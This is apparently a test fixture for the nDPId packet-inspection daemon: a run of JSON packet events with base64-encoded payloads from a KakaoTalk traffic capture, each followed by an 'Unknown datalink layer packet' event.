+00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":908698,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/KsOAbE7BiznVGguGVRlBOel113Bsf+hkRgUK1LGk0WoxhS2wu+VFmwjRvQ+Q0mmaxFc\/7XVjS2pN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":123,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":908728,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/JE2AbE7CiznY2guGVRkSqn1FShlKIeQ8mDiYz7w3guqPnrdk7F0jkbbViVQ9yTnkSlnz5NU3Gees"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":927558,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/ap2AbE6\/iznNmguGVRlDjQXzbF1rASmqvk5c6vimccEbJE3ALLUFwti4JppLcSkjDDPb6J4hNxqN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":939582,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/l6WAbE7AiznRWguGVRkP4Ke7AZPZqnu1OtfxXQBgxBEgU2FJ8AM9UefBQQrIEn2e8xLyOKYd2u12"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":959326,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/O0aAbDFIfqk6g1SapdqrV8Q9BMU3Fcozst98xdpZC7cMR6ROZ2l1CmH1ZBaIn4vuySEjpP\/Ucs4q"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":979621,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/DYSAbDFGfqkzA1Sapdp7T+s\/\/ibpFuPEhuPOjuZYXOIWlcHVvwxLMz4CH6WtefW0MtYvteFFU\/5o"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":995673,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ytSAbDFHfqk2w1SapdpNMlK5M6WdSITKqKNtegwC3g7s2ZIOTBhOpODWgwuFJbRgBtpgp4r0rief"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":998328,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqX6qByAAMC4ZVGUMDyNdZMqzZvFL5masXDZVA6JQCTSwYzII6r0J+H6ebHDpiG6\/AGpupgF2zzgl2ppSiLVPnYiD98U8UjOQ2fRfyw\/ugiovyQFT+lfaAAAACkQQ8eHVaWMSL\/A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":7971,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/ddaAbE7DizncmguGVRmV+gQ0PFapk2wvkfTJ4fJGExdU+HsfrQJm0oaqu1P4GBqGtrMPTRggUUdW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":28968,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/Lt2AbE7BiznVGguGVRlBOel113Bsf+hkRgUK1LGk0WoxhS2wu+VFmwjRvQ+Q0mmaxFc\/7XVjS2pN"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":35956,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/KGeAbE7CiznY2guGVRkSqn1FShlKIeQ8mDiYz7w3guqPnrdk7F0jkbbViVQ9yTnkSlnz5NU3Gees"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":38153,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqXmKByAAMVJql2trT+4JMtrXIu\/DNYLUyrcCH4nJIkwVlTlKbwLjRHdwKTf1t+cEG2dNtu5tj5fpNWxpJ1GyPSnYq1Tkhei6L7QH9KpD9dMR2BEbVSkSAAAACiCDm5WucO1eQLg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":43433,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/dNuAbDFJfqk+Q1SapdqFgftCpd+vf9WEYGFXgQW90g+Mj2PFKsVx2lyZQj3jZABOqzIjb4etJ+p2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":79901,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/NyyAbDFIfqk6g1SapdqrV8Q9BMU3Fcozst98xdpZC7cMR6ROZ2l1CmH1ZBaIn4vuySEjpP\/Ucs4q"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":84174,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/RGyAbDFKfqlCA1SapdoI32fsu1nJqpK7p\/Y1UPoTdFpRXVAlgycdJGWinlc0NnlPWFHLCkE8vJaD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":107855,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/tumAbE7EizngWguGVRl03AKkYsugUhFVXaInAgxI83JIn4NEZ0dguzoJENdE5yzj7DtNzI561jLH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":108954,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/1KuAbE7FiznkGguGVRkDxgO90ZqbS3sUjWqD+cTX\/ThT1FJ+odurb9LO1IV2JKqtqVPaSheiGh9x"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":123633,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/efCAbE7DizncmguGVRmV+gQ0PFapk2wvkfTJ4fJGExdU+HsfrQJm0oaqu1P4GBqGtrMPTRggUUdW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":127570,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGhH\/\/AHJAa4KGFK8WgcoHQBqY8SByAAMC4ZVGUMDyNdZMqzZvFL5masXDZVA6JQCTSwYzII6r0J+H6ebHDpiG6\/AGpupgF2zzgl2ppSiLVPnYiD98U8UjOQ2fRfyw\/ugiovyQFT+lfaAAAACkQQ8eHVaWMSL\/A=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":139075,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/9EKAbDFLfqlFw1Sapdov0LI5kRR+iN+YJ7RIVxAGqS0X88SD8X1l7WQ5ZuQSSYCz04o0wPiXzcdd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":177893,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/uh2AbDFMfqlJg1SapdqhbqgN4bcqwv5JswSwRJrDy3E4zNXts+hjyNgB83R7YYdWbfC9+2sDhUHA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":179572,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBqWkiByAAMVJql2trT+4JMtrXIu\/DNYLUyrcCH4nJIkwVlTlKbwLjRHdwKTf1t+cEG2dNtu5tj5fpNWxpJ1GyPSnYq1Tkhei6L7QH9KpD9dMR2BEbVSkSAAAACiCDm5WucO1eQLg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":193000,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/cMGAbDFJfqk+Q1SapdqFgftCpd+vf9WEYGFXgQW90g+Mj2PFKsVx2lyZQj3jZABOqzIjb4etJ+p2"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":195441,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/QFKAbDFKfqlCA1SapdoI32fsu1nJqpK7p\/Y1UPoTdFpRXVAlgycdJGWinlc0NnlPWFHLCkE8vJaD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":211310,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/ebaAbE7Giznn2guGVRkil5l1Lj\/c1+W84UsgeQB2gdVKF2B+EnR4MCkzFR+byuU8GqNry6kISU9e"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":211341,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/SoKAbE7HiznrmguGVRmc7q3Mb3Sem3+j2ALKFDcnkL0iL\/O2aflQIcHJ+FiGx5OSHRmqBBwFSbMU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":231513,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/uwOAbE7EizngWguGVRl03AKkYsugUhFVXaInAgxI83JIn4NEZ0dguzoJENdE5yzj7DtNzI561jLH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":235694,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/2MWAbE7FiznkGguGVRkDxgO90ZqbS3sUjWqD+cTX\/ThT1FJ+odurb9LO1IV2JKqtqVPaSheiGh9x"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":265448,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/85uAbDFNfqlNQ1Sapdr2BvgIroapsMw9PzxInw4TQGyLd+vhKiiWW6J3Y4ROAlrgQbg5VZPBg+BP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":288916,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/8CiAbDFLfqlFw1Sapdov0LI5kRR+iN+YJ7RIVxAGqS0X88SD8X1l7WQ5ZuQSSYCz04o0wPiXzcdd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":309485,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/+ZqAbE7IiznvWguGVRlWNwcl5+fn9nY6gN2+FDmnpBNul5bvKxJUsa2BlcxEnJP6ZrpxmC2NLrLf"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":315650,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/tgOAbDFMfqlJg1SapdqhbqgN4bcqwv5JswSwRJrDy3E4zNXts+hjyNgB83R7YYdWbfC9+2sDhUHA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":154,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00528{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":333930,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJYAAEAAQBHaDAoYUrwByQGuKBxaBgCCg5yAbDFOfqlRA1Sapdo1jiBf77t0fnQ3YnWQZ6yroACrFUoDmiVkI9+6pPpArGSbnjx5A4q3Mqajy32YJj9dFu35b\/J5xsgaxqKsKxoK4lGYyehvfGpLO6Vl07MkrrHDwKiTbTsmEEewFBEGLVvh3V5e2luX3EKrlNlZDw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":155,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":366187,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH0AAEAAQBHaJQoYUrwByQGuKBxaBgBphJSAbDFPfqlUw1SapdoO2Bp9sjbP7MwdCb8eBYfkEyCWKQBItLTROd789CJkH06pFCpz4jYFndeAInE43l2JTnq+BZnR+gYHSTAtcSm6WL7aKMsf0RWp7yhx6D9d5l1okiK3"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":156,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":379615,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/fdCAbE7Giznn2guGVRkil5l1Lj\/c1+W84UsgeQB2gdVKF2B+EnR4MCkzFR+byuU8GqNry6kISU9e"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":157,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069172,"pkt_ts_usec":395789,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/TpyAbE7HiznrmguGVRmc7q3Mb3Sem3+j2ALKFDcnkL0iL\/O2aflQIcHJ+FiGx5OSHRmqBBwFSbMU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":158,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 